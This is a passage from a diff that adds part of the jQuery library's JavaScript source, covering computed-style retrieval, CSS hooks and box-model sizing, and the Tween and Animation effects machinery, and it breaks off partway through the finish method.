elem, name, computed ) { + var width, minWidth, maxWidth, ret, + isCustomProp = rcustomProp.test( name ), + + // Support: Firefox 51+ + // Retrieving style before computed somehow + // fixes an issue with getting wrong values + // on detached elements + style = elem.style; + + computed = computed || getStyles( elem ); + + // getPropertyValue is needed for: + // .css('filter') (IE 9 only, trac-12537) + // .css('--customProperty) (gh-3144) + if ( computed ) { + + // Support: IE <=9 - 11+ + // IE only supports `"float"` in `getPropertyValue`; in computed styles + // it's only available as `"cssFloat"`. We no longer modify properties + // sent to `.css()` apart from camelCasing, so we need to check both. + // Normally, this would create difference in behavior: if + // `getPropertyValue` returns an empty string, the value returned + // by `.css()` would be `undefined`. This is usually the case for + // disconnected elements. However, in IE even disconnected elements + // with no styles return `"none"` for `getPropertyValue( "float" )` + ret = computed.getPropertyValue( name ) || computed[ name ]; + + if ( isCustomProp && ret ) { + + // Support: Firefox 105+, Chrome <=105+ + // Spec requires trimming whitespace for custom properties (gh-4926). + // Firefox only trims leading whitespace. Chrome just collapses + // both leading & trailing whitespace to a single space. + // + // Fall back to `undefined` if empty string returned. + // This collapses a missing definition with property defined + // and set to an empty string but there's no standard API + // allowing us to differentiate them without a performance penalty + // and returning `undefined` aligns with older jQuery. + // + // rtrimCSS treats U+000D CARRIAGE RETURN and U+000C FORM FEED + // as whitespace while CSS does not, but this is not a problem + // because CSS preprocessing replaces them with U+000A LINE FEED + // (which *is* CSS whitespace) + // https://www.w3.org/TR/css-syntax-3/#input-preprocessing + ret = ret.replace( rtrimCSS, "$1" ) || undefined; + } + + if ( ret === "" && !isAttached( elem ) ) { + ret = jQuery.style( elem, name ); + } + + // A tribute to the "awesome hack by Dean Edwards" + // Android Browser returns percentage for some values, + // but width seems to be reliably pixels. + // This is against the CSSOM draft spec: + // https://drafts.csswg.org/cssom/#resolved-values + if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) { + + // Remember the original values + width = style.width; + minWidth = style.minWidth; + maxWidth = style.maxWidth; + + // Put in the new values to get a computed value out + style.minWidth = style.maxWidth = style.width = ret; + ret = computed.width; + + // Revert the changed values + style.width = width; + style.minWidth = minWidth; + style.maxWidth = maxWidth; + } + } + + return ret !== undefined ? + + // Support: IE <=9 - 11 only + // IE returns zIndex value as an integer. + ret + "" : + ret; +} + + +function addGetHookIf( conditionFn, hookFn ) { + + // Define the hook, we'll check on the first run if it's really needed. + return { + get: function() { + if ( conditionFn() ) { + + // Hook not needed (or it's not possible to use it due + // to missing dependency), remove it. + delete this.get; + return; + } + + // Hook needed; redefine it so that the support test is not executed again. + return ( this.get = hookFn ).apply( this, arguments ); + } + }; +} + + +var cssPrefixes = [ "Webkit", "Moz", "ms" ], + emptyStyle = document.createElement( "div" ).style, + vendorProps = {}; + +// Return a vendor-prefixed property or undefined +function vendorPropName( name ) { + + // Check for vendor prefixed names + var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), + i = cssPrefixes.length; + + while ( i-- ) { + name = cssPrefixes[ i ] + capName; + if ( name in emptyStyle ) { + return name; + } + } +} + +// Return a potentially-mapped jQuery.cssProps or vendor prefixed property +function finalPropName( name ) { + var final = jQuery.cssProps[ name ] || vendorProps[ name ]; + + if ( final ) { + return final; + } + if ( name in emptyStyle ) { + return name; + } + return vendorProps[ name ] = vendorPropName( name ) || name; +} + + +var + + // Swappable if display is none or starts with table + // except "table", "table-cell", or "table-caption" + // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display + rdisplayswap = /^(none|table(?!-c[ea]).+)/, + cssShow = { position: "absolute", visibility: "hidden", display: "block" }, + cssNormalTransform = { + letterSpacing: "0", + fontWeight: "400" + }; + +function setPositiveNumber( _elem, value, subtract ) { + + // Any relative (+/-) values have already been + // normalized at this point + var matches = rcssNum.exec( value ); + return matches ? + + // Guard against undefined "subtract", e.g., when used as in cssHooks + Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : + value; +} + +function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) { + var i = dimension === "width" ? 1 : 0, + extra = 0, + delta = 0, + marginDelta = 0; + + // Adjustment may not be necessary + if ( box === ( isBorderBox ? "border" : "content" ) ) { + return 0; + } + + for ( ; i < 4; i += 2 ) { + + // Both box models exclude margin + // Count margin delta separately to only add it after scroll gutter adjustment. + // This is needed to make negative margins work with `outerHeight( true )` (gh-3982). + if ( box === "margin" ) { + marginDelta += jQuery.css( elem, box + cssExpand[ i ], true, styles ); + } + + // If we get here with a content-box, we're seeking "padding" or "border" or "margin" + if ( !isBorderBox ) { + + // Add padding + delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); + + // For "border" or "margin", add border + if ( box !== "padding" ) { + delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); + + // But still keep track of it otherwise + } else { + extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); + } + + // If we get here with a border-box (content + padding + border), we're seeking "content" or + // "padding" or "margin" + } else { + + // For "content", subtract padding + if ( box === "content" ) { + delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); + } + + // For "content" or "padding", subtract border + if ( box !== "margin" ) { + delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); + } + } + } + + // Account for positive content-box scroll gutter when requested by providing computedVal + if ( !isBorderBox && computedVal >= 0 ) { + + // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border + // Assuming integer scroll gutter, subtract the rest and round down + delta += Math.max( 0, Math.ceil( + elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - + computedVal - + delta - + extra - + 0.5 + + // If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter + // Use an explicit zero to avoid NaN (gh-3964) + ) ) || 0; + } + + return delta + marginDelta; +} + +function getWidthOrHeight( elem, dimension, extra ) { + + // Start with computed style + var styles = getStyles( elem ), + + // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322). + // Fake content-box until we know it's needed to know the true value. + boxSizingNeeded = !support.boxSizingReliable() || extra, + isBorderBox = boxSizingNeeded && + jQuery.css( elem, "boxSizing", false, styles ) === "border-box", + valueIsBorderBox = isBorderBox, + + val = curCSS( elem, dimension, styles ), + offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ); + + // Support: Firefox <=54 + // Return a confounding non-pixel value or feign ignorance, as appropriate. + if ( rnumnonpx.test( val ) ) { + if ( !extra ) { + return val; + } + val = "auto"; + } + + + // Support: IE 9 - 11 only + // Use offsetWidth/offsetHeight for when box sizing is unreliable. + // In those cases, the computed value can be trusted to be border-box. + if ( ( !support.boxSizingReliable() && isBorderBox || + + // Support: IE 10 - 11+, Edge 15 - 18+ + // IE/Edge misreport `getComputedStyle` of table rows with width/height + // set in CSS while `offset*` properties report correct values. + // Interestingly, in some cases IE 9 doesn't suffer from this issue. + !support.reliableTrDimensions() && nodeName( elem, "tr" ) || + + // Fall back to offsetWidth/offsetHeight when value is "auto" + // This happens for inline elements with no explicit setting (gh-3571) + val === "auto" || + + // Support: Android <=4.1 - 4.3 only + // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602) + !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) && + + // Make sure the element is visible & connected + elem.getClientRects().length ) { + + isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; + + // Where available, offsetWidth/offsetHeight approximate border box dimensions. + // Where not available (e.g., SVG), assume unreliable box-sizing and interpret the + // retrieved value as a content box dimension. + valueIsBorderBox = offsetProp in elem; + if ( valueIsBorderBox ) { + val = elem[ offsetProp ]; + } + } + + // Normalize "" and auto + val = parseFloat( val ) || 0; + + // Adjust for the element's box model + return ( val + + boxModelAdjustment( + elem, + dimension, + extra || ( isBorderBox ? "border" : "content" ), + valueIsBorderBox, + styles, + + // Provide the current computed size to request scroll gutter calculation (gh-3589) + val + ) + ) + "px"; +} + +jQuery.extend( { + + // Add in style property hooks for overriding the default + // behavior of getting and setting a style property + cssHooks: { + opacity: { + get: function( elem, computed ) { + if ( computed ) { + + // We should always get a number back from opacity + var ret = curCSS( elem, "opacity" ); + return ret === "" ? "1" : ret; + } + } + } + }, + + // Don't automatically add "px" to these possibly-unitless properties + cssNumber: { + animationIterationCount: true, + aspectRatio: true, + borderImageSlice: true, + columnCount: true, + flexGrow: true, + flexShrink: true, + fontWeight: true, + gridArea: true, + gridColumn: true, + gridColumnEnd: true, + gridColumnStart: true, + gridRow: true, + gridRowEnd: true, + gridRowStart: true, + lineHeight: true, + opacity: true, + order: true, + orphans: true, + scale: true, + widows: true, + zIndex: true, + zoom: true, + + // SVG-related + fillOpacity: true, + floodOpacity: true, + stopOpacity: true, + strokeMiterlimit: true, + strokeOpacity: true + }, + + // Add in properties whose names you wish to fix before + // setting or getting the value + cssProps: {}, + + // Get and set the style property on a DOM Node + style: function( elem, name, value, extra ) { + + // Don't set styles on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { + return; + } + + // Make sure that we're working with the right name + var ret, type, hooks, + origName = camelCase( name ), + isCustomProp = rcustomProp.test( name ), + style = elem.style; + + // Make sure that we're working with the right name. We don't + // want to query the value if it is a CSS custom property + // since they are user-defined. + if ( !isCustomProp ) { + name = finalPropName( origName ); + } + + // Gets hook for the prefixed version, then unprefixed version + hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; + + // Check if we're setting a value + if ( value !== undefined ) { + type = typeof value; + + // Convert "+=" or "-=" to relative numbers (trac-7345) + if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { + value = adjustCSS( elem, name, ret ); + + // Fixes bug trac-9237 + type = "number"; + } + + // Make sure that null and NaN values aren't set (trac-7116) + if ( value == null || value !== value ) { + return; + } + + // If a number was passed in, add the unit (except for certain CSS properties) + // The isCustomProp check can be removed in jQuery 4.0 when we only auto-append + // "px" to a few hardcoded values. + if ( type === "number" && !isCustomProp ) { + value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); + } + + // background-* props affect original clone's values + if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { + style[ name ] = "inherit"; + } + + // If a hook was provided, use that value, otherwise just set the specified value + if ( !hooks || !( "set" in hooks ) || + ( value = hooks.set( elem, value, extra ) ) !== undefined ) { + + if ( isCustomProp ) { + style.setProperty( name, value ); + } else { + style[ name ] = value; + } + } + + } else { + + // If a hook was provided get the non-computed value from there + if ( hooks && "get" in hooks && + ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { + + return ret; + } + + // Otherwise just get the value from the style object + return style[ name ]; + } + }, + + css: function( elem, name, extra, styles ) { + var val, num, hooks, + origName = camelCase( name ), + isCustomProp = rcustomProp.test( name ); + + // Make sure that we're working with the right name. We don't + // want to modify the value if it is a CSS custom property + // since they are user-defined. + if ( !isCustomProp ) { + name = finalPropName( origName ); + } + + // Try prefixed name followed by the unprefixed name + hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; + + // If a hook was provided get the computed value from there + if ( hooks && "get" in hooks ) { + val = hooks.get( elem, true, extra ); + } + + // Otherwise, if a way to get the computed value exists, use that + if ( val === undefined ) { + val = curCSS( elem, name, styles ); + } + + // Convert "normal" to computed value + if ( val === "normal" && name in cssNormalTransform ) { + val = cssNormalTransform[ name ]; + } + + // Make numeric if forced or a qualifier was provided and val looks numeric + if ( extra === "" || extra ) { + num = parseFloat( val ); + return extra === true || isFinite( num ) ? num || 0 : val; + } + + return val; + } +} ); + +jQuery.each( [ "height", "width" ], function( _i, dimension ) { + jQuery.cssHooks[ dimension ] = { + get: function( elem, computed, extra ) { + if ( computed ) { + + // Certain elements can have dimension info if we invisibly show them + // but it must have a current display style that would benefit + return rdisplayswap.test( jQuery.css( elem, "display" ) ) && + + // Support: Safari 8+ + // Table columns in Safari have non-zero offsetWidth & zero + // getBoundingClientRect().width unless display is changed. + // Support: IE <=11 only + // Running getBoundingClientRect on a disconnected node + // in IE throws an error. + ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? + swap( elem, cssShow, function() { + return getWidthOrHeight( elem, dimension, extra ); + } ) : + getWidthOrHeight( elem, dimension, extra ); + } + }, + + set: function( elem, value, extra ) { + var matches, + styles = getStyles( elem ), + + // Only read styles.position if the test has a chance to fail + // to avoid forcing a reflow. + scrollboxSizeBuggy = !support.scrollboxSize() && + styles.position === "absolute", + + // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991) + boxSizingNeeded = scrollboxSizeBuggy || extra, + isBorderBox = boxSizingNeeded && + jQuery.css( elem, "boxSizing", false, styles ) === "border-box", + subtract = extra ? + boxModelAdjustment( + elem, + dimension, + extra, + isBorderBox, + styles + ) : + 0; + + // Account for unreliable border-box dimensions by comparing offset* to computed and + // faking a content-box to get border and padding (gh-3699) + if ( isBorderBox && scrollboxSizeBuggy ) { + subtract -= Math.ceil( + elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - + parseFloat( styles[ dimension ] ) - + boxModelAdjustment( elem, dimension, "border", false, styles ) - + 0.5 + ); + } + + // Convert to pixels if value adjustment is needed + if ( subtract && ( matches = rcssNum.exec( value ) ) && + ( matches[ 3 ] || "px" ) !== "px" ) { + + elem.style[ dimension ] = value; + value = jQuery.css( elem, dimension ); + } + + return setPositiveNumber( elem, value, subtract ); + } + }; +} ); + +jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, + function( elem, computed ) { + if ( computed ) { + return ( parseFloat( curCSS( elem, "marginLeft" ) ) || + elem.getBoundingClientRect().left - + swap( elem, { marginLeft: 0 }, function() { + return elem.getBoundingClientRect().left; + } ) + ) + "px"; + } + } +); + +// These hooks are used by animate to expand properties +jQuery.each( { + margin: "", + padding: "", + border: "Width" +}, function( prefix, suffix ) { + jQuery.cssHooks[ prefix + suffix ] = { + expand: function( value ) { + var i = 0, + expanded = {}, + + // Assumes a single number if not a string + parts = typeof value === "string" ? value.split( " " ) : [ value ]; + + for ( ; i < 4; i++ ) { + expanded[ prefix + cssExpand[ i ] + suffix ] = + parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; + } + + return expanded; + } + }; + + if ( prefix !== "margin" ) { + jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; + } +} ); + +jQuery.fn.extend( { + css: function( name, value ) { + return access( this, function( elem, name, value ) { + var styles, len, + map = {}, + i = 0; + + if ( Array.isArray( name ) ) { + styles = getStyles( elem ); + len = name.length; + + for ( ; i < len; i++ ) { + map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); + } + + return map; + } + + return value !== undefined ? + jQuery.style( elem, name, value ) : + jQuery.css( elem, name ); + }, name, value, arguments.length > 1 ); + } +} ); + + +function Tween( elem, options, prop, end, easing ) { + return new Tween.prototype.init( elem, options, prop, end, easing ); +} +jQuery.Tween = Tween; + +Tween.prototype = { + constructor: Tween, + init: function( elem, options, prop, end, easing, unit ) { + this.elem = elem; + this.prop = prop; + this.easing = easing || jQuery.easing._default; + this.options = options; + this.start = this.now = this.cur(); + this.end = end; + this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); + }, + cur: function() { + var hooks = Tween.propHooks[ this.prop ]; + + return hooks && hooks.get ? + hooks.get( this ) : + Tween.propHooks._default.get( this ); + }, + run: function( percent ) { + var eased, + hooks = Tween.propHooks[ this.prop ]; + + if ( this.options.duration ) { + this.pos = eased = jQuery.easing[ this.easing ]( + percent, this.options.duration * percent, 0, 1, this.options.duration + ); + } else { + this.pos = eased = percent; + } + this.now = ( this.end - this.start ) * eased + this.start; + + if ( this.options.step ) { + this.options.step.call( this.elem, this.now, this ); + } + + if ( hooks && hooks.set ) { + hooks.set( this ); + } else { + Tween.propHooks._default.set( this ); + } + return this; + } +}; + +Tween.prototype.init.prototype = Tween.prototype; + +Tween.propHooks = { + _default: { + get: function( tween ) { + var result; + + // Use a property on the element directly when it is not a DOM element, + // or when there is no matching style property that exists. + if ( tween.elem.nodeType !== 1 || + tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { + return tween.elem[ tween.prop ]; + } + + // Passing an empty string as a 3rd parameter to .css will automatically + // attempt a parseFloat and fallback to a string if the parse fails. + // Simple values such as "10px" are parsed to Float; + // complex values such as "rotate(1rad)" are returned as-is. + result = jQuery.css( tween.elem, tween.prop, "" ); + + // Empty strings, null, undefined and "auto" are converted to 0. + return !result || result === "auto" ? 0 : result; + }, + set: function( tween ) { + + // Use step hook for back compat. + // Use cssHook if its there. + // Use .style if available and use plain properties where available. + if ( jQuery.fx.step[ tween.prop ] ) { + jQuery.fx.step[ tween.prop ]( tween ); + } else if ( tween.elem.nodeType === 1 && ( + jQuery.cssHooks[ tween.prop ] || + tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) { + jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); + } else { + tween.elem[ tween.prop ] = tween.now; + } + } + } +}; + +// Support: IE <=9 only +// Panic based approach to setting things on disconnected nodes +Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { + set: function( tween ) { + if ( tween.elem.nodeType && tween.elem.parentNode ) { + tween.elem[ tween.prop ] = tween.now; + } + } +}; + +jQuery.easing = { + linear: function( p ) { + return p; + }, + swing: function( p ) { + return 0.5 - Math.cos( p * Math.PI ) / 2; + }, + _default: "swing" +}; + +jQuery.fx = Tween.prototype.init; + +// Back compat <1.8 extension point +jQuery.fx.step = {}; + + + + +var + fxNow, inProgress, + rfxtypes = /^(?:toggle|show|hide)$/, + rrun = /queueHooks$/; + +function schedule() { + if ( inProgress ) { + if ( document.hidden === false && window.requestAnimationFrame ) { + window.requestAnimationFrame( schedule ); + } else { + window.setTimeout( schedule, jQuery.fx.interval ); + } + + jQuery.fx.tick(); + } +} + +// Animations created synchronously will run synchronously +function createFxNow() { + window.setTimeout( function() { + fxNow = undefined; + } ); + return ( fxNow = Date.now() ); +} + +// Generate parameters to create a standard animation +function genFx( type, includeWidth ) { + var which, + i = 0, + attrs = { height: type }; + + // If we include width, step value is 1 to do all cssExpand values, + // otherwise step value is 2 to skip over Left and Right + includeWidth = includeWidth ? 1 : 0; + for ( ; i < 4; i += 2 - includeWidth ) { + which = cssExpand[ i ]; + attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; + } + + if ( includeWidth ) { + attrs.opacity = attrs.width = type; + } + + return attrs; +} + +function createTween( value, prop, animation ) { + var tween, + collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), + index = 0, + length = collection.length; + for ( ; index < length; index++ ) { + if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { + + // We're done with this property + return tween; + } + } +} + +function defaultPrefilter( elem, props, opts ) { + var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, + isBox = "width" in props || "height" in props, + anim = this, + orig = {}, + style = elem.style, + hidden = elem.nodeType && isHiddenWithinTree( elem ), + dataShow = dataPriv.get( elem, "fxshow" ); + + // Queue-skipping animations hijack the fx hooks + if ( !opts.queue ) { + hooks = jQuery._queueHooks( elem, "fx" ); + if ( hooks.unqueued == null ) { + hooks.unqueued = 0; + oldfire = hooks.empty.fire; + hooks.empty.fire = function() { + if ( !hooks.unqueued ) { + oldfire(); + } + }; + } + hooks.unqueued++; + + anim.always( function() { + + // Ensure the complete handler is called before this completes + anim.always( function() { + hooks.unqueued--; + if ( !jQuery.queue( elem, "fx" ).length ) { + hooks.empty.fire(); + } + } ); + } ); + } + + // Detect show/hide animations + for ( prop in props ) { + value = props[ prop ]; + if ( rfxtypes.test( value ) ) { + delete props[ prop ]; + toggle = toggle || value === "toggle"; + if ( value === ( hidden ? "hide" : "show" ) ) { + + // Pretend to be hidden if this is a "show" and + // there is still data from a stopped show/hide + if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { + hidden = true; + + // Ignore all other no-op show/hide data + } else { + continue; + } + } + orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); + } + } + + // Bail out if this is a no-op like .hide().hide() + propTween = !jQuery.isEmptyObject( props ); + if ( !propTween && jQuery.isEmptyObject( orig ) ) { + return; + } + + // Restrict "overflow" and "display" styles during box animations + if ( isBox && elem.nodeType === 1 ) { + + // Support: IE <=9 - 11, Edge 12 - 15 + // Record all 3 overflow attributes because IE does not infer the shorthand + // from identically-valued overflowX and overflowY and Edge just mirrors + // the overflowX value there. + opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; + + // Identify a display type, preferring old show/hide data over the CSS cascade + restoreDisplay = dataShow && dataShow.display; + if ( restoreDisplay == null ) { + restoreDisplay = dataPriv.get( elem, "display" ); + } + display = jQuery.css( elem, "display" ); + if ( display === "none" ) { + if ( restoreDisplay ) { + display = restoreDisplay; + } else { + + // Get nonempty value(s) by temporarily forcing visibility + showHide( [ elem ], true ); + restoreDisplay = elem.style.display || restoreDisplay; + display = jQuery.css( elem, "display" ); + showHide( [ elem ] ); + } + } + + // Animate inline elements as inline-block + if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { + if ( jQuery.css( elem, "float" ) === "none" ) { + + // Restore the original display value at the end of pure show/hide animations + if ( !propTween ) { + anim.done( function() { + style.display = restoreDisplay; + } ); + if ( restoreDisplay == null ) { + display = style.display; + restoreDisplay = display === "none" ? "" : display; + } + } + style.display = "inline-block"; + } + } + } + + if ( opts.overflow ) { + style.overflow = "hidden"; + anim.always( function() { + style.overflow = opts.overflow[ 0 ]; + style.overflowX = opts.overflow[ 1 ]; + style.overflowY = opts.overflow[ 2 ]; + } ); + } + + // Implement show/hide animations + propTween = false; + for ( prop in orig ) { + + // General show/hide setup for this element animation + if ( !propTween ) { + if ( dataShow ) { + if ( "hidden" in dataShow ) { + hidden = dataShow.hidden; + } + } else { + dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); + } + + // Store hidden/visible for toggle so `.stop().toggle()` "reverses" + if ( toggle ) { + dataShow.hidden = !hidden; + } + + // Show elements before animating them + if ( hidden ) { + showHide( [ elem ], true ); + } + + /* eslint-disable no-loop-func */ + + anim.done( function() { + + /* eslint-enable no-loop-func */ + + // The final step of a "hide" animation is actually hiding the element + if ( !hidden ) { + showHide( [ elem ] ); + } + dataPriv.remove( elem, "fxshow" ); + for ( prop in orig ) { + jQuery.style( elem, prop, orig[ prop ] ); + } + } ); + } + + // Per-property setup + propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); + if ( !( prop in dataShow ) ) { + dataShow[ prop ] = propTween.start; + if ( hidden ) { + propTween.end = propTween.start; + propTween.start = 0; + } + } + } +} + +function propFilter( props, specialEasing ) { + var index, name, easing, value, hooks; + + // camelCase, specialEasing and expand cssHook pass + for ( index in props ) { + name = camelCase( index ); + easing = specialEasing[ name ]; + value = props[ index ]; + if ( Array.isArray( value ) ) { + easing = value[ 1 ]; + value = props[ index ] = value[ 0 ]; + } + + if ( index !== name ) { + props[ name ] = value; + delete props[ index ]; + } + + hooks = jQuery.cssHooks[ name ]; + if ( hooks && "expand" in hooks ) { + value = hooks.expand( value ); + delete props[ name ]; + + // Not quite $.extend, this won't overwrite existing keys. + // Reusing 'index' because we have the correct "name" + for ( index in value ) { + if ( !( index in props ) ) { + props[ index ] = value[ index ]; + specialEasing[ index ] = easing; + } + } + } else { + specialEasing[ name ] = easing; + } + } +} + +function Animation( elem, properties, options ) { + var result, + stopped, + index = 0, + length = Animation.prefilters.length, + deferred = jQuery.Deferred().always( function() { + + // Don't match elem in the :animated selector + delete tick.elem; + } ), + tick = function() { + if ( stopped ) { + return false; + } + var currentTime = fxNow || createFxNow(), + remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), + + // Support: Android 2.3 only + // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (trac-12497) + temp = remaining / animation.duration || 0, + percent = 1 - temp, + index = 0, + length = animation.tweens.length; + + for ( ; index < length; index++ ) { + animation.tweens[ index ].run( percent ); + } + + deferred.notifyWith( elem, [ animation, percent, remaining ] ); + + // If there's more to do, yield + if ( percent < 1 && length ) { + return remaining; + } + + // If this was an empty animation, synthesize a final progress notification + if ( !length ) { + deferred.notifyWith( elem, [ animation, 1, 0 ] ); + } + + // Resolve the animation and report its conclusion + deferred.resolveWith( elem, [ animation ] ); + return false; + }, + animation = deferred.promise( { + elem: elem, + props: jQuery.extend( {}, properties ), + opts: jQuery.extend( true, { + specialEasing: {}, + easing: jQuery.easing._default + }, options ), + originalProperties: properties, + originalOptions: options, + startTime: fxNow || createFxNow(), + duration: options.duration, + tweens: [], + createTween: function( prop, end ) { + var tween = jQuery.Tween( elem, animation.opts, prop, end, + animation.opts.specialEasing[ prop ] || animation.opts.easing ); + animation.tweens.push( tween ); + return tween; + }, + stop: function( gotoEnd ) { + var index = 0, + + // If we are going to the end, we want to run all the tweens + // otherwise we skip this part + length = gotoEnd ? animation.tweens.length : 0; + if ( stopped ) { + return this; + } + stopped = true; + for ( ; index < length; index++ ) { + animation.tweens[ index ].run( 1 ); + } + + // Resolve when we played the last frame; otherwise, reject + if ( gotoEnd ) { + deferred.notifyWith( elem, [ animation, 1, 0 ] ); + deferred.resolveWith( elem, [ animation, gotoEnd ] ); + } else { + deferred.rejectWith( elem, [ animation, gotoEnd ] ); + } + return this; + } + } ), + props = animation.props; + + propFilter( props, animation.opts.specialEasing ); + + for ( ; index < length; index++ ) { + result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); + if ( result ) { + if ( isFunction( result.stop ) ) { + jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = + result.stop.bind( result ); + } + return result; + } + } + + jQuery.map( props, createTween, animation ); + + if ( isFunction( animation.opts.start ) ) { + animation.opts.start.call( elem, animation ); + } + + // Attach callbacks from options + animation + .progress( animation.opts.progress ) + .done( animation.opts.done, animation.opts.complete ) + .fail( animation.opts.fail ) + .always( animation.opts.always ); + + jQuery.fx.timer( + jQuery.extend( tick, { + elem: elem, + anim: animation, + queue: animation.opts.queue + } ) + ); + + return animation; +} + +jQuery.Animation = jQuery.extend( Animation, { + + tweeners: { + "*": [ function( prop, value ) { + var tween = this.createTween( prop, value ); + adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); + return tween; + } ] + }, + + tweener: function( props, callback ) { + if ( isFunction( props ) ) { + callback = props; + props = [ "*" ]; + } else { + props = props.match( rnothtmlwhite ); + } + + var prop, + index = 0, + length = props.length; + + for ( ; index < length; index++ ) { + prop = props[ index ]; + Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; + Animation.tweeners[ prop ].unshift( callback ); + } + }, + + prefilters: [ defaultPrefilter ], + + prefilter: function( callback, prepend ) { + if ( prepend ) { + Animation.prefilters.unshift( callback ); + } else { + Animation.prefilters.push( callback ); + } + } +} ); + +jQuery.speed = function( speed, easing, fn ) { + var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { + complete: fn || !fn && easing || + isFunction( speed ) && speed, + duration: speed, + easing: fn && easing || easing && !isFunction( easing ) && easing + }; + + // Go to the end state if fx are off + if ( jQuery.fx.off ) { + opt.duration = 0; + + } else { + if ( typeof opt.duration !== "number" ) { + if ( opt.duration in jQuery.fx.speeds ) { + opt.duration = jQuery.fx.speeds[ opt.duration ]; + + } else { + opt.duration = jQuery.fx.speeds._default; + } + } + } + + // Normalize opt.queue - true/undefined/null -> "fx" + if ( opt.queue == null || opt.queue === true ) { + opt.queue = "fx"; + } + + // Queueing + opt.old = opt.complete; + + opt.complete = function() { + if ( isFunction( opt.old ) ) { + opt.old.call( this ); + } + + if ( opt.queue ) { + jQuery.dequeue( this, opt.queue ); + } + }; + + return opt; +}; + +jQuery.fn.extend( { + fadeTo: function( speed, to, easing, callback ) { + + // Show any hidden elements after setting opacity to 0 + return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() + + // Animate to the value specified + .end().animate( { opacity: to }, speed, easing, callback ); + }, + animate: function( prop, speed, easing, callback ) { + var empty = jQuery.isEmptyObject( prop ), + optall = jQuery.speed( speed, easing, callback ), + doAnimation = function() { + + // Operate on a copy of prop so per-property easing won't be lost + var anim = Animation( this, jQuery.extend( {}, prop ), optall ); + + // Empty animations, or finishing resolves immediately + if ( empty || dataPriv.get( this, "finish" ) ) { + anim.stop( true ); + } + }; + + doAnimation.finish = doAnimation; + + return empty || optall.queue === false ? + this.each( doAnimation ) : + this.queue( optall.queue, doAnimation ); + }, + stop: function( type, clearQueue, gotoEnd ) { + var stopQueue = function( hooks ) { + var stop = hooks.stop; + delete hooks.stop; + stop( gotoEnd ); + }; + + if ( typeof type !== "string" ) { + gotoEnd = clearQueue; + clearQueue = type; + type = undefined; + } + if ( clearQueue ) { + this.queue( type || "fx", [] ); + } + + return this.each( function() { + var dequeue = true, + index = type != null && type + "queueHooks", + timers = jQuery.timers, + data = dataPriv.get( this ); + + if ( index ) { + if ( data[ index ] && data[ index ].stop ) { + stopQueue( data[ index ] ); + } + } else { + for ( index in data ) { + if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { + stopQueue( data[ index ] ); + } + } + } + + for ( index = timers.length; index--; ) { + if ( timers[ index ].elem === this && + ( type == null || timers[ index ].queue === type ) ) { + + timers[ index ].anim.stop( gotoEnd ); + dequeue = false; + timers.splice( index, 1 ); + } + } + + // Start the next in the queue if the last step wasn't forced. + // Timers currently will call their complete callbacks, which + // will dequeue but only if they were gotoEnd. + if ( dequeue || !gotoEnd ) { + jQuery.dequeue( this, type ); + } + } ); + }, + finish: function( type ) { + if ( type !== false ) { + type = type || "fx"; + } + return this.each( function() { + var index, + data = dataPriv.get( this ), + queue = data[ type + 